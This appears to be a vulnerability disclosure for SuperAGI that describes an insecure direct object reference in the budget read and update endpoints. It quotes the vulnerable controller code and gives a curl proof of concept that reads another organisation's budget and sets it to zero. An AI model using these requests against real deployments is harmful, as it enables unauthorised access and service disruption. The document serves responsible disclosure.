YLChen-007 / **ISSUE-Github-REPORT-Budget-IDOR.md** Secret

Created last month

Code Revisions 1

IDOR in Budget Endpoints Allows Reading and Modifying Any Organizations Budgets

ISSUE-Github-REPORT-Budget-IDOR.md

Advisory Details

Title: IDOR in Budget Endpoints Allows Reading and Modifying Any Organization's Budgets

Description:

Summary

The budget management endpoints (`GET /budgets/get/{budget_id}` and `PUT /budgets/update/{budget_id}`) allow any authenticated user to read or modify budget configurations belonging to other organizations by enumerating budget IDs.

Details

Both endpoints in `superagi/controllers/budget.py` use `check_auth` without organization ownership verification:

```
# superagi/controllers/budget.py, lines 54-71
@router.get("/get/{budget_id}", response_model=BudgetOut)
def get_budget(budget_id: int, Authorize: AuthJWT = Depends(check_auth)):
    db_budget = db.session.query(Budget).filter(Budget.id == budget_id).first
    if not db_budget:
        raise HTTPException(status_code=404, detail="budget not found")
    return db_budget  # ← Returns ANY budget, no org check

# superagi/controllers/budget.py, lines 74-97
@router.put("/update/{budget_id}", response_model=BudgetOut)
def update_budget(budget_id: int, budget: BudgetIn,
```

```
                    Authorize: AuthJWT = Depends(check_auth)):
    db_budget = db.session.query(Budget).filter(Budget.id == budget_id).first
    if not db_budget:
        raise HTTPException(status_code=404, detail="budget not found")
    db_budget.budget = budget.budget  # ← Modifies ANY org's budget
    db_budget.cycle = budget.cycle
    db.session.commit()
    return db_budget
```

PoC

```
JWT="<attacker_jwt_token>"

# Read victim's budget
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/api/budgets/get/1"

# Modify victim's budget (set to 0 to block their agents)
curl -s -X PUT -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  "http://localhost:3000/api/budgets/update/1" \
  -d '{"budget": 0, "cycle": "daily"}'
```

Log of Evidence

Endpoint follows the same pattern verified across all other IDOR endpoints — `check_auth` only, no org filter.

Impact

- **Financial Manipulation**: Attacker can increase their own budget or reduce victim's budget limits.
- **Service Disruption**: Setting a budget to 0 blocks the victim's agents from running.

Affected products

- **Ecosystem**: pip
- **Package name**: SuperAGI
- **Affected versions**: All versions up to and including latest (`main` branch, commit `c3c1982`)
- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Weaknesses

- **CWE**: CWE-639: Authorization Bypass Through User-Controlled Key

Occurrences

Permalink
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L71
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L97